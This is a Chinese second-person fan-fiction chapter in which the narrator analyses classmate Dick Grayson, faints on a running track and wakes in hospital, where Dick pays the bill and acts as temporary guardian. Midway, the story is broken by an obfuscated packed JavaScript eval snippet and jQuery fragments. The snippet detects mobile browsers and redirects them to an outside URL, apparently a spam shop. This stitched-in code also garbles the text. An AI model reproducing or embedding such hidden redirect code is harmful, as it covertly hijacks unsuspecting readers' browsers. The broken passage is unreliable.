布鲁德海文大学 大一 第一学期开学第5周晴
可恶，我果然还是适应不了老己的身体吗？
一睁眼差点要喊同学一声爹。
剑，最要远离的就是感情
监护人只会影响我拔剑的速度
但富公不会。
………………………………………………
开学几周后，你对迪克·格雷森形成了一套相对完整的观察记录。
这并不是刻意的行为。
有些路线被人走过一次，就会留下痕迹。
你只是发现，那些你原本打算自己确认的地方，
已经被人提前确认完了。
他很少在主干道停留，更多选择连廊、侧门、后梯这类人流密度较低的位置。每一次出现都像是提前完成过路径筛选，脚步没有试探成分。
有几次，你甚至分不清——
那条路线，是你先记住的，
还是他先选的。
这种熟悉程度超出“新生”的常态表现。
从心理学角度来看，人在进入陌生环境后，通常会经历迷路、折返、参照物定位来完成空间建模。这个过程伴随迟疑与修正。迪克的行为轨迹呈现出另一种特征：路径选择果断，转向点提前，校正动作极少。
你把这类行为归入空间占有型适应模式。
这种模式常见于需要频繁迁移的人群。他们习惯在最短时间内完成环境扫描，把出入口、死角、逃生路线纳入认知框架。完成之后，身体活动才真正放松下来。
在你得出这个判断的同时，你也注意到了另一组显眼的数据——他的身体。
迪克的体态在校园里极具辨识度。肩背线条紧实，核心肌群稳定，步态中重心收得很稳。训练服下的肌肉分布均匀，没有突兀堆叠的痕迹。下肢力量尤为突出，大腿发力时肌群轮廓清晰，臀部在跑动中保持着极强的张力与弹性。
那是一种长期高频力量训练塑造出的身体。
你在脑中自动调取了对照背景, 美国青少年与青年群体的平均体脂率。
在这样的环境中，能把身体维持在这种状态，往往意味着极高的自我管理强度。
你对迪克的判断逐渐从“体能突出”转向“身份恐怕不简单”。
这天清晨，你在操场边再次看见他。
他刚结束一组拉伸，呼吸已经恢复平稳，背心被汗水贴在身上，肩胛线条在晨光里非常清晰。他抬手抹了一下额角的汗，把水瓶在掌心转了半圈，像是在确认盖子拧紧。
你停在他旁边的距离算不上近。
足够让人察觉，却不至于显得冒犯。
你本来不打算过去。
你想到你们的第一次见面，也许就像是替身使者会互相吸引一样
但在一个新环境里，
知道“不是只有我一个”，
这件事本身就值得冒一点风险。
你才开口：“你每天都这么练？”
迪克抬头看你，眼神清亮，嘴角先扬起一点：“差不多。”
迪克把水瓶举到唇边喝了一口。
水瓶放下时，他的视线才慢半拍地收回来。
喉结随着吞咽上下滚动，眼睛微眯，唇角有一个极轻的上扬。
“身体会记住节奏。”
你点了一下头，顺着话题往下走：“在这边能长期保持训练挺少见的。”
迪克轻轻笑了一声，像是听惯了类似评价：“环境不太友好。”
你接得很快，语气里带点吐槽的快节奏：“肥胖率摆在那里。精加工食品、含糖饮料、热量密集型零食。”
迪克把水瓶放回地上，肩膀松了一下：“可乐比水便宜。”
你抬了抬眉，像在补充一条注脚：“便宜的热量从不关心你需不需要”
迪克笑得更明显，眼角弯了一点：“微波炉食品才是最终形态。”
你们对视了一眼，默契地达成共识。
健身话题自然滑向了更具体的部分。
你看着他的下肢发力状态说：“你的训练更偏力量。而且下肢比例很明显。”
迪克把手撑在腰侧，胸口起伏很轻：“你观察得很细哦。”
你开了一个玩笑：“职业病。”
你原本没打算问。
操场边的塑胶跑道有一段颜色偏深，像是被反复踩过。
你多看了那一眼。
然后你抬头，把话题推向你真正感兴趣的部分说：“你对学校太熟了。”
迪克拧上水瓶盖，手指在盖沿压了一下，动作干净利落：“你觉得？”
你把你的依据逐条说出来，语速平稳，像在列证据：“路线选择、时间判断、出入口记忆，很像提前踩点过。刚来学校就把所有地方都摸清楚了。不像是普通的大学生啊”
迪克侧过头看你，蓝色的眼睛里浮出一点笑意，像被你逗到了：“你在分析我？你觉得我是什么？”
你把词放得更学术一点：“在建模，你猜？。”
迪克笑得更明显，像是接受了这个定位。他先丢出一个轻飘飘的回答：“不知道。”
你看着他，等他把话说完。
迪克抬手拍了拍自己的侧腰，语气带着毫不遮掩的调侃：“反正我的身材很曼妙。”
这句话被他说得理直气壮。晨光落在他背心的布料褶皱上，汗水的痕迹让肌肉线条更明显，尤其是臀部那一段，在站姿微调时依旧带着紧绷的弹性，像训练形成的自然张力。
迪克把水瓶塞回包里，拉链拉到一半停住，抬眼看向你：“一起跑？”
你低头看了一眼鞋带。
它们系得很紧。
你抬头：“可以试试。”
………………………………………………
你原本把这件事归为一次普通的尝试。第二天早上，它变成了一次直接触发的生理警报。
迪克看了你一眼，视线停在你略显发白的唇色上：“昨晚睡得晚？”
你把口气放轻：“写论文。”
迪克伸手把毛巾递过来，又收回去，像是意识到你们的关系还没到那一步。他改成指了指旁边的饮水机：“先喝两口水。”
你喝了几口，水温偏凉，沿着喉咙滑下去。你把水瓶盖拧紧，跟着他走向跑道。
迪克把步频放慢，让你跟得上：“前两圈当热身，呼吸别急。”
你应了一声。
第一圈还算顺。第二圈开始，你的胃里出现一种空落感，像是体内的燃料突然被抽走了一截。你把注意力放到呼吸上，试图把节奏锁住。第三圈时，你的视野边缘出现轻微的黑影，像画面被人从四角往中间推。
迪克已经靠了过来。
他伸手在你背后虚扶了一下，声音明显放缓：“停一下。”
你张了张嘴，声音没出来。
跑道在你眼前变得更亮，亮得发白。你听见自己的耳鸣变得清晰，像有一条细线从脑后拉到太阳穴。脚底的触感开始不可靠，重心像是滑了一下。
你试图停下来，脚尖却没能及时踩稳。身体向前倾倒时，你的手下意识往前伸，掌心没碰到地面，你的意识先一步沉下去。
你最后听见的声音，是迪克喊你的名字，语速很快，音量压得很紧。
………………………………………………………<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116915|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>你再次恢复意识时，视野里是一片明亮的白。
救护车的顶灯亮得刺眼，红色警示灯在视线边缘闪烁。车厢里有消毒水的味道，金属器械固定在侧壁，随着行驶发出细小的碰撞声。
你眨了一下眼。
迪克坐在你旁边，身体前倾，手肘撑在膝盖上。他已经脱掉外套，袖子卷到手肘，手背青筋清晰。他正在和医护人员说话，语速不快，每一句都很短。
迪克说：“跑步时突然站不稳，意识中断，没有外伤。”
医护人员点头，继续操作。
你试图开口，脑子里却只剩下一个念头。
救护车很贵。
这个念头刚成形，你的意识再次下沉。
………………………………………………………
你醒来时躺在医院的病床上。
苍白的手背贴着胶布，输液管沿着床侧垂下来。护士站在床边，正在核对平板上的信息。
护士抬头看你：“感觉怎么样？”
你动了动手指，骨节分明，纤长又不失力量感：“还行。”
护士继续说：“我们已经调取了你的儿童福利医疗档案，登记信息显示你名下有一位法定监护人。”
她当着你的面拨通了档案里的联系方式。电话响了几声，没有人接听。护士挂断电话，重新看向你。
护士说：“Crane 先生目前联系不上，并且他的地址在哥谭市。按照规定，你需要一位临时监护人，才能继续后续流程。”
你点头，没有多说。
护士的视线转向迪克：“这位是？”
迪克向前一步，站得很直：“我是他的同学。救护车是我叫的。”
护士确认了一下身份，点头：“你愿意作为临时监护人签字吗？只覆盖这次就医流程。”
迪克转头看向你，等你回应。
你当然知道，这也是为什么你没有填写第二联系人的缘故，你和监护人暂时失联了。
只能如此，于是说：“可以。”
护士把电子签字板递给他。迪克接过来，签名的动作潇洒流畅。
流程结束后，护士离开了病房。
病房里安静下来。迪克站在床边，视线关切地在确认你的状态。
迪克说：“账单我已经处理了。”
你愣了一下：“救护车？”
迪克点头：“我叫的车，流程在我这边。”
你吸了一口气，喉咙有点紧。2000多刀说付就付，富公哟！
迪克接着说：“还有一件事。我在联系学校找紧急联系人和医院登记时看到了你的资料。”
你没有打断。
迪克的语气放得很克制：“我不是故意的。”
你看着他眨巴着如同紫水晶一般的双眸：“我知道。”
迪克停了一下，像是在确认措辞：“我的意思是，其实我很能理解你……如果你需要，我可以暂时担任你的临时监护人。不仅仅是到流程结束。”
你沉默了一会儿，说：“我有监护人。”
迪克问得很轻但是很笃定：“现在联系不上？”
你叹了口气，点头：“暂时。”
迪克没有追问原因，像是明白了什么，安抚一般地只应了一声：“明白。”
他认真得注视你，说：“这几天流程上的事，我可以帮你顶着。学校那边，第二联系人你可以填写我的电话。今天的事是我的错，应该早点察觉到你状态不好的”。
你看着他，那双蓝眼睛在光线下显得很深，像海面静下来时的颜色，轻轻得笑着回道：“没关系，迪克，只要你不要求我叫你Daddy就行”。